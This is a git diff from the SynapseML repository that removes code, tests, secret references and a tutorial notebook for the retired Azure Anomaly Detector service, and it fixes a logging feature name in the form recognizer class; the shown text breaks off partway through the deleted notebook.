b/cognitive/src/main/scala/com/microsoft/azure/synapse/ml/services/form/FormRecognizerV3.scala @@ -38,7 +38,7 @@ class AnalyzeDocument(override val uid: String) extends CognitiveServicesBaseNoH with HasCognitiveServiceInput with HasInternalJsonOutputParser with BasicAsyncReply with HasPrebuiltModelID with HasPages with HasLocale with HasAPIVersion with HasImageInput with HasSetLocation with SynapseMLLogging with HasSetLinkedService { - logClass(FeatureNames.AiServices.Anomaly) + logClass(FeatureNames.AiServices.Form) setDefault(apiVersion -> Left("2023-07-31")) diff --git a/cognitive/src/test/scala/com/microsoft/azure/synapse/ml/services/anomaly/AnamolyDetectionSuite.scala b/cognitive/src/test/scala/com/microsoft/azure/synapse/ml/services/anomaly/AnamolyDetectionSuite.scala deleted file mode 100644 index 23394b36476..00000000000 --- a/cognitive/src/test/scala/com/microsoft/azure/synapse/ml/services/anomaly/AnamolyDetectionSuite.scala +++ /dev/null @@ -1,255 +0,0 @@ -// Copyright (C) Microsoft Corporation. All rights reserved. -// Licensed under the MIT License. See LICENSE in project root for information. - -package com.microsoft.azure.synapse.ml.services.anomaly - -import com.microsoft.azure.synapse.ml.Secrets -import com.microsoft.azure.synapse.ml.Secrets.getAccessToken -import com.microsoft.azure.synapse.ml.core.test.base.TestBase -import com.microsoft.azure.synapse.ml.core.test.fuzzing.{TestObject, TransformerFuzzing} -import org.apache.spark.ml.util.MLReadable -import org.apache.spark.sql.functions._ -import org.apache.spark.sql.{DataFrame, Row} - -trait AnomalyKey { - - lazy val anomalyKey: String = sys.env.getOrElse("ANOMALY_API_KEY", Secrets.AnomalyApiKey) - lazy val anomalyLocation = "westus2" - -} - -trait AnomalyDetectorSuiteBase extends TestBase with AnomalyKey { - - import spark.implicits._ - - lazy val df: DataFrame = Seq( - ("1972-01-01T00:00:00Z", 826.0), - ("1972-02-01T00:00:00Z", 799.0), - ("1972-03-01T00:00:00Z", 890.0), - ("1972-04-01T00:00:00Z", 900.0), - ("1972-05-01T00:00:00Z", 766.0), - ("1972-06-01T00:00:00Z", 805.0), - ("1972-07-01T00:00:00Z", 821.0), - ("1972-08-01T00:00:00Z", 20000.0), - ("1972-09-01T00:00:00Z", 883.0), - ("1972-10-01T00:00:00Z", 898.0), - ("1972-11-01T00:00:00Z", 957.0), - ("1972-12-01T00:00:00Z", 924.0), - ("1973-01-01T00:00:00Z", 881.0), - ("1973-02-01T00:00:00Z", 837.0), - ("1973-03-01T00:00:00Z", 90000.0) - ).toDF("timestamp", "value") - .withColumn("group", lit(1)) - .withColumn("inputs", struct(col("timestamp"), col("value"))) - .groupBy(col("group")) - .agg(sort_array(collect_list(col("inputs"))).alias("inputs")) - - lazy val df2: DataFrame = Seq( - ("2000-01-24T08:46:00Z", 826.0), - ("2000-01-24T08:47:00Z", 799.0), - ("2000-01-24T08:48:00Z", 890.0), - ("2000-01-24T08:49:00Z", 900.0), - ("2000-01-24T08:50:00Z", 766.0), - ("2000-01-24T08:51:00Z", 805.0), - ("2000-01-24T08:52:00Z", 821.0), - ("2000-01-24T08:53:00Z", 20000.0), - ("2000-01-24T08:54:00Z", 883.0), - ("2000-01-24T08:55:00Z", 898.0), - ("2000-01-24T08:56:00Z", 957.0), - ("2000-01-24T08:57:00Z", 924.0), - ("2000-01-24T08:58:00Z", 881.0), - ("2000-01-24T08:59:00Z", 837.0), - ("2000-01-24T09:00:00Z", 90000.0) - ).toDF("timestamp", "value") - .withColumn("group", lit(1)) - .withColumn("inputs", struct(col("timestamp"), col("value"))) - .groupBy(col("group")) - .agg(sort_array(collect_list(col("inputs"))).alias("inputs")) - -} - -class DetectLastAnomalySuite extends TransformerFuzzing[DetectLastAnomaly] with AnomalyDetectorSuiteBase { - override val compareDataInSerializationTest: Boolean = false - - - lazy val ad: DetectLastAnomaly = new DetectLastAnomaly() - .setSubscriptionKey(anomalyKey) - .setLocation(anomalyLocation) - .setOutputCol("anomalies") - .setSeriesCol("inputs") - .setGranularity("monthly") - .setErrorCol("errors") - - test("Basic Usage") { - val fromRow = ADLastResponse.makeFromRowConverter - val result = fromRow(ad.transform(df) - .select("anomalies") - .collect() - .head.getStruct(0)) - assert(result.isAnomaly) - } - - test("Basic usage with AAD auth") { - val aadToken = getAccessToken("https://cognitiveservices.azure.com/") - val ad = new DetectLastAnomaly() - .setAADToken(aadToken) - .setCustomServiceName("synapseml-ad-custom") - .setOutputCol("anomalies") - .setSeriesCol("inputs") - .setGranularity("monthly") - .setErrorCol("errors") - val fromRow = ADLastResponse.makeFromRowConverter - val result = fromRow(ad.transform(df) - .select("anomalies") - .collect() - .head.getStruct(0)) - assert(result.isAnomaly) - } - - test("minutely Usage") { - val fromRow = ADLastResponse.makeFromRowConverter - val result = fromRow(ad.setGranularity("minutely").transform(df2) - .select("anomalies") - .collect() - .head.getStruct(0)) - assert(result.isAnomaly) - } - - test("Throw errors if required fields not set") { - val caught = intercept[AssertionError] { - new DetectLastAnomaly() - .setSubscriptionKey(anomalyKey) - .setLocation(anomalyLocation) - .setOutputCol("anomalies") - .setErrorCol("errors") - .transform(df).collect() - } - assert(caught.getMessage.contains("Missing required params")) - assert(caught.getMessage.contains("granularity")) - assert(caught.getMessage.contains("series")) - } - - override def testObjects(): Seq[TestObject[DetectLastAnomaly]] = - Seq(new TestObject(ad, df)) - - override def reader: MLReadable[_] = DetectLastAnomaly -} - -class DetectAnomaliesSuite extends TransformerFuzzing[DetectAnomalies] with AnomalyDetectorSuiteBase { - override val compareDataInSerializationTest: Boolean = false - - - lazy val ad: DetectAnomalies = new DetectAnomalies() - .setSubscriptionKey(anomalyKey) - .setLocation(anomalyLocation) - .setOutputCol("anomalies") - .setSeriesCol("inputs") - .setGranularity("monthly") - - test("Basic Usage") { - val fromRow = ADEntireResponse.makeFromRowConverter - val result = fromRow(ad.transform(df) - .select("anomalies") - .collect() - .head.getStruct(0)) - assert(result.isAnomaly.count({ b => b }) == 2) - } - - test("Throw errors if required fields not set") { - val caught = intercept[AssertionError] { - new DetectAnomalies() - .setSubscriptionKey(anomalyKey) - .setLocation(anomalyLocation) - .setOutputCol("anomalies") - .transform(df).collect() - } - assert(caught.getMessage.contains("Missing required params")) - assert(caught.getMessage.contains("granularity")) - assert(caught.getMessage.contains("series")) - } - - override def testObjects(): Seq[TestObject[DetectAnomalies]] = - Seq(new TestObject(ad, df)) - - override def reader: MLReadable[_] = DetectAnomalies -} - -class SimpleDetectAnomaliesSuite extends TransformerFuzzing[SimpleDetectAnomalies] - with AnomalyDetectorSuiteBase { - override val compareDataInSerializationTest: Boolean = false - - lazy val baseSeq = Seq( - ("1972-01-01T00:00:00Z", 826.0), - ("1972-02-01T00:00:00Z", 799.0), - ("1972-03-01T00:00:00Z", 890.0), - ("1972-04-01T00:00:00Z", 900.0), - ("1972-05-01T00:00:00Z", 766.0), - ("1972-06-01T00:00:00Z", 805.0), - ("1972-07-01T00:00:00Z", 821.0), - ("1972-08-01T00:00:00Z", 20000.0), - ("1972-09-01T00:00:00Z", 883.0), - ("1972-10-01T00:00:00Z", 898.0), - ("1972-11-01T00:00:00Z", 957.0), - ("1972-12-01T00:00:00Z", 924.0), - ("1973-01-01T00:00:00Z", 881.0), - ("1973-02-01T00:00:00Z", 837.0), - ("1973-03-01T00:00:00Z", 9000.0) - ) - - import spark.implicits._ - - lazy val sdf: DataFrame = baseSeq.map(p => (p._1, p._2, 1.0)) - .++(baseSeq.map(p => (p._1, p._2, 2.0))) - .toDF("timestamp", "value", "group") - - lazy val sdf2: DataFrame = baseSeq.map(p => (p._1, p._2, 1.0)) - .++(baseSeq.reverse.map(p => (p._1, p._2, 2.0))) - .toDF("timestamp", "value", "group") - - lazy val sdf3: DataFrame = baseSeq.map(p => (p._1, p._2, 1.0)) - .++(baseSeq.reverse.take(2).map(p => (p._1, p._2, 2.0))) - .toDF("timestamp", "value", "group") - - lazy val sad: SimpleDetectAnomalies = new SimpleDetectAnomalies() - .setSubscriptionKey(anomalyKey) - .setLocation(anomalyLocation) - .setOutputCol("anomalies") - .setGroupbyCol("group") - .setGranularity("monthly") - - test("Basic Usage") { - val result = sad.transform(sdf) - .collect().head.getAs[Row]("anomalies") - assert(!result.getBoolean(0)) - } - - test("Reverse Reverse!") { - sad.transform(sdf2) - .show(truncate = false) - } - - test("Error handling") { - sad.transform(sdf3) - .show(truncate = false) - } - - test("Throw errors if required fields not set") { - val caught = intercept[AssertionError] { - new SimpleDetectAnomalies() - .setSubscriptionKey(anomalyKey) - .setLocation(anomalyLocation) - .setOutputCol("anomalies") - .setGroupbyCol("group") - .transform(sdf).collect() - } - assert(caught.getMessage.contains("Missing required params")) - assert(caught.getMessage.contains("granularity")) - } - - //TODO Nulls, different cardinalities - - override def testObjects(): Seq[TestObject[SimpleDetectAnomalies]] = - Seq(new TestObject(sad, sdf)) - - override def reader: MLReadable[_] = SimpleDetectAnomalies -} diff --git a/cognitive/src/test/scala/com/microsoft/azure/synapse/ml/services/anomaly/MultivariateAnamolyDetectionSuite.scala b/cognitive/src/test/scala/com/microsoft/azure/synapse/ml/services/anomaly/MultivariateAnamolyDetectionSuite.scala deleted file mode 100644 index 8a6148ef7eb..00000000000 --- a/cognitive/src/test/scala/com/microsoft/azure/synapse/ml/services/anomaly/MultivariateAnamolyDetectionSuite.scala +++ /dev/null @@ -1,340 +0,0 @@ -// Copyright (C) Microsoft Corporation. All rights reserved. -// Licensed under the MIT License. See LICENSE in project root for information. - -package com.microsoft.azure.synapse.ml.services.anomaly -// -//import com.microsoft.azure.synapse.ml.Secrets -//import com.microsoft.azure.synapse.ml.core.test.base.{Flaky, TestBase} -//import com.microsoft.azure.synapse.ml.core.test.benchmarks.DatasetUtils -//import com.microsoft.azure.synapse.ml.core.test.fuzzing.{EstimatorFuzzing, TestObject, TransformerFuzzing} -//import org.apache.hadoop.conf.Configuration -//import org.apache.spark.ml.util.MLReadable -//import org.apache.spark.sql.DataFrame -//import org.apache.spark.sql.types.{DoubleType, StringType, StructField, StructType} -//import spray.json.{DefaultJsonProtocol, _} -// -//import java.time.ZonedDateTime -//import java.time.format.DateTimeFormatter -//import scala.collection.mutable -// -// -//case class MADListModelsResponse(models: Seq[MADModel], -// currentCount: Int, -// maxCount: Int, -// nextLink: Option[String]) -// -//case class MADModel(modelId: String, -// createdTime: String, -// lastUpdatedTime: String, -// status: String, -// displayName: Option[String], -// variablesCount: Int) -// -//object MADListModelsProtocol extends DefaultJsonProtocol { -// -// implicit val MADModelEnc: RootJsonFormat[MADModel] = jsonFormat6(MADModel) -// implicit val MADLMRespEnc: RootJsonFormat[MADListModelsResponse] = jsonFormat4(MADListModelsResponse) -// -//} -// -//trait StorageCredentials { -// -// lazy val storageKey: String = sys.env.getOrElse("STORAGE_KEY", Secrets.MADTestStorageKey) -// lazy val storageAccount = "anomalydetectiontest" -// lazy val containerName = "madtest" -// -//} -// -//trait MADTestUtils extends TestBase with AnomalyKey with StorageCredentials { -// -// lazy val startTime: String = "2021-01-01T00:00:00Z" -// lazy val endTime: String = "2021-01-02T12:00:00Z" -// lazy val timestampColumn: String = "timestamp" -// lazy val inputColumns: Array[String] = Array("feature0", "feature1", "feature2") -// lazy val intermediateSaveDir: String = -// s"wasbs://$containerName@$storageAccount.blob.core.windows.net/intermediateData" -// lazy val fileLocation: String = DatasetUtils.madTestFile("mad_example.csv").toString -// lazy val fileSchema: StructType = StructType(Array( -// StructField(timestampColumn, StringType, nullable = true) -// ) ++ inputColumns.map(inputCol => StructField(inputCol, DoubleType, nullable = true))) -// lazy val df: DataFrame = spark.read.format("csv") -// .option("header", "true").schema(fileSchema).load(fileLocation) -// -//} -// -//class SimpleFitMultivariateAnomalySuite extends EstimatorFuzzing[SimpleFitMultivariateAnomaly] -// with MADTestUtils with Flaky { -// -// def simpleMultiAnomalyEstimator: SimpleFitMultivariateAnomaly = new SimpleFitMultivariateAnomaly() -// .setSubscriptionKey(anomalyKey) -// .setLocation(anomalyLocation) -// .setOutputCol("result") -// .setStartTime(startTime) -// .setEndTime(endTime) -// .setIntermediateSaveDir(intermediateSaveDir) -// .setTimestampCol(timestampColumn) -// .setInputCols(inputColumns) -// -// test("SimpleFitMultivariateAnomaly basic usage") { -// val smae = simpleMultiAnomalyEstimator.setSlidingWindow(50) -// val model = smae.fit(df) -// smae.cleanUpIntermediateData() -// -// // model might not be ready -// tryWithRetries(Array(100, 500, 1000)) { () => -// val result = model -// .setStartTime(startTime) -// .setEndTime(endTime) -// .setOutputCol("result") -// .setTimestampCol(timestampColumn) -// .setInputCols(inputColumns) -// .transform(df) -// .collect() -// model.cleanUpIntermediateData() -// assert(result.length == df.collect().length) -// } -// } -// -// test("Throw errors if alignMode is not set correctly") { -// val caught = intercept[IllegalArgumentException] { -// simpleMultiAnomalyEstimator.setAlignMode("alignMode").fit(df) -// } -// assert(caught.getMessage.contains("alignMode must be either `inner` or `outer`.")) -// } -// -// test("Throw errors if slidingWindow is not between 28 and 2880") { -// val caught = intercept[IllegalArgumentException] { -// simpleMultiAnomalyEstimator.setSlidingWindow(20).fit(df) -// } -// assert(caught.getMessage.contains("slidingWindow must be between 28 and 2880 (both inclusive).")) -// } -// -// test("Throw errors if authentication is not provided") { -// val caught = intercept[IllegalAccessError] { -// new SimpleFitMultivariateAnomaly() -// .setSubscriptionKey(anomalyKey) -// .setLocation(anomalyLocation) -// .setIntermediateSaveDir(s"wasbs://$containerName@notreal.blob.core.windows.net/intermediateData") -// .setOutputCol("result") -// .setInputCols(Array("feature0")) -// .fit(df) -// } -// assert(caught.getMessage.contains("Could not find the storage account credentials.")) -// } -// -// test("Throw errors if start/end time is not ISO8601 format") { -// val caught = intercept[IllegalArgumentException] { -// val smae = simpleMultiAnomalyEstimator -// .setStartTime("2021-01-01 00:00:00") -// smae.fit(df) -// } -// assert(caught.getMessage.contains("StartTime should be ISO8601 format.")) -// -// val caught2 = intercept[IllegalArgumentException] { -// val smae = simpleMultiAnomalyEstimator -// .setEndTime("2021-01-01 00:00:00") -// smae.fit(df) -// } -// assert(caught2.getMessage.contains("EndTime should be ISO8601 format.")) -// } -// -// test("Expose correct error message during fitting") { -// val caught = intercept[RuntimeException] { -// val testDf = df.limit(50) -// simpleMultiAnomalyEstimator -// .fit(testDf) -// } -// assert(caught.getMessage.contains("TrainFailed")) -// } -// -// test("Expose correct error message during inference") { -// val caught = intercept[RuntimeException] { -// val testDf = df.limit(50) -// val smae = simpleMultiAnomalyEstimator -// val model = smae.fit(df) -// smae.cleanUpIntermediateData() -// assert(model.getDiagnosticsInfo.variableStates.get.length.equals(3)) -// -// model.setStartTime(startTime) -// .setEndTime(endTime) -// .setOutputCol("result") -// .setTimestampCol(timestampColumn) -// .setInputCols(inputColumns) -// .transform(testDf) -// .collect() -// } -// assert(caught.getMessage.contains("Not enough data.")) -// } -// -// test("Expose correct error message for invalid modelId") { -// val caught = intercept[RuntimeException] { -// val detectMultivariateAnomaly = new SimpleDetectMultivariateAnomaly() -// .setModelId("FAKE_MODEL_ID") -// .setSubscriptionKey(anomalyKey) -// .setLocation(anomalyLocation) -// .setIntermediateSaveDir(intermediateSaveDir) -// detectMultivariateAnomaly -// .setStartTime(startTime) -// .setEndTime(endTime) -// .setOutputCol("result") -// .setTimestampCol(timestampColumn) -// .setInputCols(inputColumns) -// .transform(df) -// .collect() -// } -// assert(caught.getMessage.contains("Encounter error while fetching model")) -// } -// -// test("return modelId after retries and get model status before inference") { -// val caught = intercept[RuntimeException] { -// val smae = simpleMultiAnomalyEstimator -// .setMaxPollingRetries(1) -// val model = smae.fit(df) -// smae.cleanUpIntermediateData() -// -// model.setStartTime(startTime) -// .setEndTime(endTime) -// .setOutputCol("result") -// .setTimestampCol(timestampColumn) -// .setInputCols(inputColumns) -// .transform(df) -// .collect() -// model.cleanUpIntermediateData() -// } -// assert(caught.getMessage.contains("not ready yet")) -// } -// -// override def testSerialization(): Unit = { -// println("ignore the Serialization Fuzzing test because fitting process takes more than 3 minutes") -// } -// -// override def testExperiments(): Unit = { -// println("ignore the Experiment Fuzzing test because fitting process takes more than 3 minutes") -// } -// -// override def afterAll(): Unit = { -// MADUtils.cleanUpAllModels(anomalyKey, anomalyLocation) -// super.afterAll() -// } -// -// override def beforeAll(): Unit = { -// super.beforeAll() -// val hc = spark.sparkContext.hadoopConfiguration -// hc.set("fs.azure", "org.apache.hadoop.fs.azure.NativeAzureFileSystem") -// hc.set(s"fs.azure.account.keyprovider.$storageAccount.blob.core.windows.net", -// "org.apache.hadoop.fs.azure.SimpleKeyProvider") -// hc.set(s"fs.azure.account.key.$storageAccount.blob.core.windows.net", storageKey) -// cleanOldModels() -// } -// -// override def testObjects(): Seq[TestObject[SimpleFitMultivariateAnomaly]] = -// Seq(new TestObject(simpleMultiAnomalyEstimator.setSlidingWindow(200), df)) -// -// def stringToTime(dateString: String): ZonedDateTime = { -// val tsFormat = "yyyy-MM-dd'T'HH:mm:ssz" -// val formatter = DateTimeFormatter.ofPattern(tsFormat) -// ZonedDateTime.parse(dateString, formatter) -// } -// -// def cleanOldModels(): Unit = { -// val url = simpleMultiAnomalyEstimator.setLocation(anomalyLocation).getUrl + "/" -// val twoDaysAgo = ZonedDateTime.now().minusDays(2) -// val modelSet: mutable.HashSet[String] = mutable.HashSet() -// var modelDeleted: Boolean = false -// -// // madListModels doesn't necessarily return all models, so just in case, -// // if we delete any models, we loop around to see if there are more to check. -// // scalastyle:off while -// do { -// modelDeleted = false -// val models = MADUtils.madListModels(anomalyKey, anomalyLocation) -// .parseJson.asJsObject().fields("models").asInstanceOf[JsArray].elements -// .map(modelJson => modelJson.asJsObject.fields("modelId").asInstanceOf[JsString].value) -// models.foreach { modelId => -// if (!modelSet.contains(modelId)) { -// modelSet += modelId -// val lastUpdated = -// MADUtils.madGetModel(url, modelId, anomalyKey).parseJson.asJsObject.fields("lastUpdatedTime") -// val lastUpdatedTime = stringToTime(lastUpdated.toString().replaceAll("\"", "")) -// if (lastUpdatedTime.isBefore(twoDaysAgo)) { -// println(s"Deleting $modelId") -// MADUtils.madDelete(modelId, anomalyKey, anomalyLocation) -// modelDeleted = true -// } -// } -// } -// } while (modelDeleted) -// // scalastyle:on while -// } -// -// override def reader: MLReadable[_] = SimpleFitMultivariateAnomaly -// -// override def modelReader: MLReadable[_] = SimpleDetectMultivariateAnomaly -//} -// -//class DetectLastMultivariateAnomalySuite extends TransformerFuzzing[DetectLastMultivariateAnomaly] -// with MADTestUtils { -// -// lazy val sfma: SimpleFitMultivariateAnomaly = { -// val hc: Configuration = spark.sparkContext.hadoopConfiguration -// hc.set("fs.azure", "org.apache.hadoop.fs.azure.NativeAzureFileSystem") -// hc.set(s"fs.azure.account.keyprovider.$storageAccount.blob.core.windows.net", -// "org.apache.hadoop.fs.azure.SimpleKeyProvider") -// hc.set(s"fs.azure.account.key.$storageAccount.blob.core.windows.net", storageKey) -// -// new SimpleFitMultivariateAnomaly() -// .setSubscriptionKey(anomalyKey) -// .setLocation(anomalyLocation) -// .setOutputCol("result") -// .setStartTime(startTime) -// .setEndTime(endTime) -// .setIntermediateSaveDir(intermediateSaveDir) -// .setTimestampCol(timestampColumn) -// .setInputCols(inputColumns) -// .setSlidingWindow(50) -// } -// -// lazy val modelId: String = { -// val model: SimpleDetectMultivariateAnomaly = sfma.fit(df) -// MADUtils.CreatedModels += model.getModelId -// model.getModelId -// } -// -// lazy val dlma: DetectLastMultivariateAnomaly = new DetectLastMultivariateAnomaly() -// .setSubscriptionKey(anomalyKey) -// .setLocation(anomalyLocation) -// .setModelId(modelId) -// .setInputVariablesCols(inputColumns) -// .setOutputCol("result") -// .setTimestampCol(timestampColumn) -// -// test("Basic Usage") { -// val result = dlma.setBatchSize(50) -// .transform(df.limit(100)) -// .collect() -// assert(result(0).get(6) == null) -// assert(!result(50).getAs[Boolean]("isAnomaly")) -// assert(result(68).getAs[Boolean]("isAnomaly")) -// } -// -// test("Error if batch size is smaller than sliding window") { -// val result = dlma.setBatchSize(10).transform(df.limit(50)) -// result.show(50, truncate = false) -// assert(result.collect().head.getAs[StringType](dlma.getErrorCol).toString.contains("NotEnoughData")) -// } -// -// override def afterAll(): Unit = { -// MADUtils.cleanUpAllModels(anomalyKey, anomalyLocation) -// sfma.cleanUpIntermediateData() -// super.afterAll() -// } -// -// override def testSerialization(): Unit = { -// println("ignore the Serialization Fuzzing test because fitting process takes more than 3 minutes") -// } -// -// override def testObjects(): Seq[TestObject[DetectLastMultivariateAnomaly]] = -// Seq(new TestObject(dlma, df)) -// -// override def reader: MLReadable[_] = DetectLastMultivariateAnomaly -//} diff --git a/core/src/main/scala/com/microsoft/azure/synapse/ml/logging/FeatureNames.scala b/core/src/main/scala/com/microsoft/azure/synapse/ml/logging/FeatureNames.scala index 80bb7100edd..48134b97a46 100644 --- a/core/src/main/scala/com/microsoft/azure/synapse/ml/logging/FeatureNames.scala +++ b/core/src/main/scala/com/microsoft/azure/synapse/ml/logging/FeatureNames.scala @@ -5,7 +5,6 @@ package com.microsoft.azure.synapse.ml.logging object FeatureNames { object AiServices { - val Anomaly = "aiservice-anomalydetection" val Face = "aiservice-face" val Form = "aiservice-form" val Language = "aiservice-language" diff --git a/core/src/test/scala/com/microsoft/azure/synapse/ml/Secrets.scala b/core/src/test/scala/com/microsoft/azure/synapse/ml/Secrets.scala index 44d16c69e11..b06a75decf1 100644 --- a/core/src/test/scala/com/microsoft/azure/synapse/ml/Secrets.scala +++ b/core/src/test/scala/com/microsoft/azure/synapse/ml/Secrets.scala @@ -87,15 +87,12 @@ object Secrets { lazy val ConversationTranscriptionUrl: String = getSecret("conversation-transcription-url") lazy val ConversationTranscriptionKey: String = getSecret("conversation-transcription-key") - lazy val AnomalyApiKey: String = getSecret("anomaly-api-key") lazy val AzureSearchKey: String = getSecret("azure-search-key") lazy val TranslatorKey: String = getSecret("translator-key") lazy val AzureMapsKey: String = getSecret("azuremaps-api-key") lazy val PowerbiURL: String = getSecret("powerbi-url") lazy val AdbToken: String = getSecret("adb-token") - lazy val MADTestStorageKey: String = getSecret("madtest-storage-key") - lazy val ArtifactStore: String = getSecret("synapse-artifact-store") lazy val Platform: String = getSecret("synapse-platform") lazy val AadResource: String = getSecret("synapse-internal-aad-resource") diff --git a/core/src/test/scala/com/microsoft/azure/synapse/ml/core/test/benchmarks/Benchmarks.scala b/core/src/test/scala/com/microsoft/azure/synapse/ml/core/test/benchmarks/Benchmarks.scala index d9b1207af7f..b270e5d68fb 100644 --- a/core/src/test/scala/com/microsoft/azure/synapse/ml/core/test/benchmarks/Benchmarks.scala +++ b/core/src/test/scala/com/microsoft/azure/synapse/ml/core/test/benchmarks/Benchmarks.scala @@ -131,9 +131,6 @@ object DatasetUtils { def rankingTestFile(name: String): File = FileUtilities.join(BuildInfo.datasetDir,"Ranking","Test", name) - def madTestFile(name: String): File = - FileUtilities.join(BuildInfo.datasetDir, "MultivariateAnomalyDetection", name) - def causalTrainFile(name: String): File= FileUtilities.join(BuildInfo.datasetDir, "Causal", name) diff --git a/core/src/test/scala/com/microsoft/azure/synapse/ml/nbtest/DatabricksUtilities.scala b/core/src/test/scala/com/microsoft/azure/synapse/ml/nbtest/DatabricksUtilities.scala index a47bb54c225..5046c3d5c6f 100644 --- a/core/src/test/scala/com/microsoft/azure/synapse/ml/nbtest/DatabricksUtilities.scala +++ b/core/src/test/scala/com/microsoft/azure/synapse/ml/nbtest/DatabricksUtilities.scala @@ -258,7 +258,6 @@ object DatabricksUtilities { .filterNot(_.getAbsolutePath.contains("GPU")) .filterNot(_.getAbsolutePath.contains("Phi Model")) .filterNot(_.getAbsolutePath.contains("Language Model")) - .filterNot(_.getAbsolutePath.contains("Multivariate Anomaly Detection")) // Deprecated .filterNot(_.getAbsolutePath.contains("Audiobooks")) // TODO Remove this by fixing auth .filterNot(_.getAbsolutePath.contains("Art")) // TODO Remove this by fixing performance .filterNot(_.getAbsolutePath.contains("Explanation Dashboard")) // TODO Remove this exclusion diff --git a/core/src/test/scala/com/microsoft/azure/synapse/ml/nbtest/SynapseTests.scala b/core/src/test/scala/com/microsoft/azure/synapse/ml/nbtest/SynapseTests.scala index 62ec25ea921..0ac173972be 100644 --- a/core/src/test/scala/com/microsoft/azure/synapse/ml/nbtest/SynapseTests.scala +++ b/core/src/test/scala/com/microsoft/azure/synapse/ml/nbtest/SynapseTests.scala @@ -57,7 +57,6 @@ class SynapseTests extends TestBase { "SetupCognitive", // No code to run "CreateaSparkCluster", // No code to run "Deploying", // New issue - "MultivariateAnomaly", // New issue "TuningHyperOpt", // New issue "IsolationForests", // New issue "CreateAudiobooks", // New issue diff --git a/docs/Explore Algorithms/AI Services/Multivariate Anomaly Detection.ipynb b/docs/Explore Algorithms/AI Services/Multivariate Anomaly Detection.ipynb deleted file mode 100644 index 28da5ad135f..00000000000 --- a/docs/Explore Algorithms/AI Services/Multivariate Anomaly Detection.ipynb +++ /dev/null @@ -1,555 +0,0 @@ -{ - "cells": [ - { - "attachments": {}, - "cell_type": "markdown", - "metadata": {}, - "source": [ - "# Recipe: Azure AI Services - Multivariate Anomaly Detection \n", - "This recipe shows how you can use SynapseML and Azure AI services on Apache Spark for multivariate anomaly detection. Multivariate anomaly detection allows for the detection of anomalies among many variables or time series, taking into account all the inter-correlations and dependencies between the different variables. In this scenario, we use SynapseML to train a model for multivariate anomaly detection using the Azure AI services, and we then use to the model to infer multivariate anomalies within a dataset containing synthetic measurements from three IoT sensors.\n", - "\n", - "To learn more about the Azure AI Anomaly Detector, refer to [this documentation page](https://docs.microsoft.com/azure/ai-services/anomaly-detector/). " - ] - }, - { - "cell_type": "markdown", - "metadata": { - "tags": [ - "alert", - "important" - ] - }, - "source": [ - "## Important\n", - "Starting on the 20th of September, 2023 you won’t be able to create new Anomaly Detector resources. The Anomaly Detector service is being retired on the 1st of October, 2026." - ] - }, - { - "attachments": {}, - "cell_type": "markdown", - "metadata": {}, - "source": [ - "\n", - "## Setup\n", - "### Create an Anomaly Detector resource\n", - "Follow the instructions to create an `Anomaly Detector` resource using the Azure portal or alternatively, you can also use the Azure CLI to create this resource.\n", - "\n", - "- In the Azure portal, select **Create** in your resource group, and then type **Anomaly Detector**. Select the Anomaly Detector resource.\n", - "- Give the resource a name, and ideally use the same region as the rest of your resource group. Use the default options for the rest, and then select **Review + Create** and then **Create**.\n", - "- Once the Anomaly Detector resource is created, open it and select the `Keys and Endpoints` panel in the left nav. Copy the key for the Anomaly Detector resource into the `ANOMALY_API_KEY` environment variable, or store it in the `anomalyKey` variable.\n", - "\n", - "### Create a Storage Account resource\n", - "In order to save intermediate data, you need to create an Azure Blob Storage Account. Within that storage account, create a container for storing the intermediate data. Make note of the container name, and copy the connection string to that container. You need it later to populate the `containerName` variable and the `BLOB_CONNECTION_STRING` environment variable." - ] - }, - { - "attachments": {}, - "cell_type": "markdown", - "metadata": {}, - "source": [ - "### Enter your service keys\n", - "Let's start by setting up the environment variables for our service keys. The next cell sets the `ANOMALY_API_KEY` and the `BLOB_CONNECTION_STRING` environment variables based on the values stored in our Azure Key Vault. If you're running this tutorial in your own environment, make sure you set these environment variables before you proceed." - ] - }, - { - "cell_type": "markdown", - "metadata": {}, - "source": [ - "Now, lets read the `ANOMALY_API_KEY` and `BLOB_CONNECTION_STRING` environment variables and set the `containerName` and `location` variables." - ] - }, - { - "cell_type": "code", - "execution_count": null, - "metadata": {}, - "outputs": [], - "source": [ - "from synapse.ml.core.platform import find_secret\n", - "\n", - "# An Anomaly Dectector subscription key\n", - "anomalyKey = find_secret(\n", - " secret_name=\"anomaly-api-key\", keyvault=\"mmlspark-build-keys\"\n", - ") # use your own anomaly api key\n", - "# Your storage account name\n", - "storageName = \"anomalydetectiontest\" # use your own storage account name\n", - "# A connection string to your blob storage account\n", - "storageKey = find_secret(\n", - " secret_name=\"madtest-storage-key\", keyvault=\"mmlspark-build-keys\"\n", - ") # use your own storage key\n", - "# A place to save intermediate MVAD results\n", - "intermediateSaveDir = (\n", - " \"wasbs://madtest@anomalydetectiontest.blob.core.windows.net/intermediateData\"\n", - ")\n", - "# The location of the anomaly detector resource that you created\n", - "location = \"westus2\"" - ] - }, - { - "attachments": {}, - "cell_type": "markdown", - "metadata": {}, - "source": [ - "First we connect to our storage account so that anomaly detector can save intermediate results there:" - ] - }, - { - "cell_type": "code", - "execution_count": null, - "metadata": { - "collapsed": false, - "pycharm": { - "name": "#%%\n" - } - }, - "outputs": [], - "source": [ - "spark.sparkContext._jsc.hadoopConfiguration().set(\n", - " f\"fs.azure.account.key.{storageName}.blob.core.windows.net\", storageKey\n", - ")" - ] - }, - { - "cell_type": "markdown", - "metadata": { - "collapsed": false - }, - "source": [ - "Let's import all the necessary modules." - ] - }, - { - "cell_type": "code", - "execution_count": null, - "metadata": {}, - "outputs": [], - "source": [ - "import numpy as np\n", - "import pandas as pd\n", - "\n", - "import pyspark\n", - "from pyspark.sql.functions import col\n", - "from pyspark.sql.functions import lit\n", - "from pyspark.sql.types import DoubleType\n", - "import matplotlib.pyplot as plt\n", - "\n", - "import synapse.ml\n", - "from synapse.ml.services.anomaly import *" - ] - }, - { - "attachments": {}, - "cell_type": "markdown", - "metadata": {}, - "source": [ - "Now, let's read our sample data into a Spark DataFrame." - ] - }, - { - "cell_type": "code", - "execution_count": null, - "metadata": { - "application/vnd.databricks.v1+cell": { - "inputWidgets": {}, - "nuid": "58080b22-fff1-463b-ad80-0639d475ec89", - "showTitle": false, - "title": "" - } - }, - "outputs": [], - "source": [ - "df = (\n", - " spark.read.format(\"csv\")\n", - " .option(\"header\", \"true\")\n", - " .load(\"wasbs://publicwasb@mmlspark.blob.core.windows.net/MVAD/sample.csv\")\n", - ")\n", - "\n", - "df = (\n", - " df.withColumn(\"sensor_1\", 